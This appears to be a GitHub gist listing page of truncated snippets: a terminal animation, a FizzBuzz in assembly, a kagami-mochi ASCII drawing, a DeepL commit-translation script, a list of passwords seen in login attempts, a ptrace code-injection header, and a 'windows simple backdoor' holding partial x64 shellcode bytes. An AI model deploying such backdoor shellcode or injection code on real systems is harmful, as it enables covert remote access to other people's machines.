Skip to content

Instantly share code, notes, and snippets.

@0x6d61
0x6d61 / homo.js
Created November 27, 2019 18:36
CLIで┌(┌^o^)┐を動かすJavaScript
'use strict'
const sleep = require('sleep')
const homo = '┌(┌^o^)┐'
const homoleft = '┌(^o^┐)┐'
const rightMoveHomo = move => {
for( let i = 0;i<move;i++) {
console.log(`\x1b[${i}G${homo}`)
sleep.msleep(50)
@0x6d61
0x6d61 / password.txt
Last active January 19, 2020 13:59
不正アクセスを試みたパスワード一覧
_)(*
!
! @_
!!
!!!
!!!!
!!!!!
!!!!!!
@0x6d61
0x6d61 / injection.c
Created June 30, 2020 20:41
ptrace code injection
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/user.h>
@0x6d61
0x6d61 / backdoor.c
Last active July 2, 2020 22:45
windows simple backdoor
#include <stdio.h>
#include <windows.h>
int main(void) {
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
@0x6d61
0x6d61 / kagamimochi.rb
Created January 10, 2021 15:05
鏡餅を表示するやつ
output = []
12.times do |y|
output[y] = []
18.times do |x|
if y == 0 && x >= 10 && x <= 11
output[y][x] = "\e[32m#\e[0m"
elsif 1 == y && x >= 10 && x <= 10
output[y][x] = "\e[32m#\e[0m"
elsif y == 2 && x >= 9 && x <= 11
output[y][x] = "\e[33m#\e[0m"
section .data
str_fizzbuzz: db 'fizzbuzz',10
str_fizz: db 'fizz',10
str_buzz: db 'buzz',10
section .text
global _start
_start:
mov rcx,0
.loop:
@0x6d61
0x6d61 / git-tcommit.sh
Created April 28, 2020 15:45
コミットするときに翻訳するやつ
#!/bin/bash
function usage {
echo "usage:git tcommit <commit message>"
exit 2
}
if [ "$1" != "" ]; then
RESULT=$(curl -sS 'https://www2.deepl.com/jsonrpc' \
-H 'authority: www2.deepl.com' \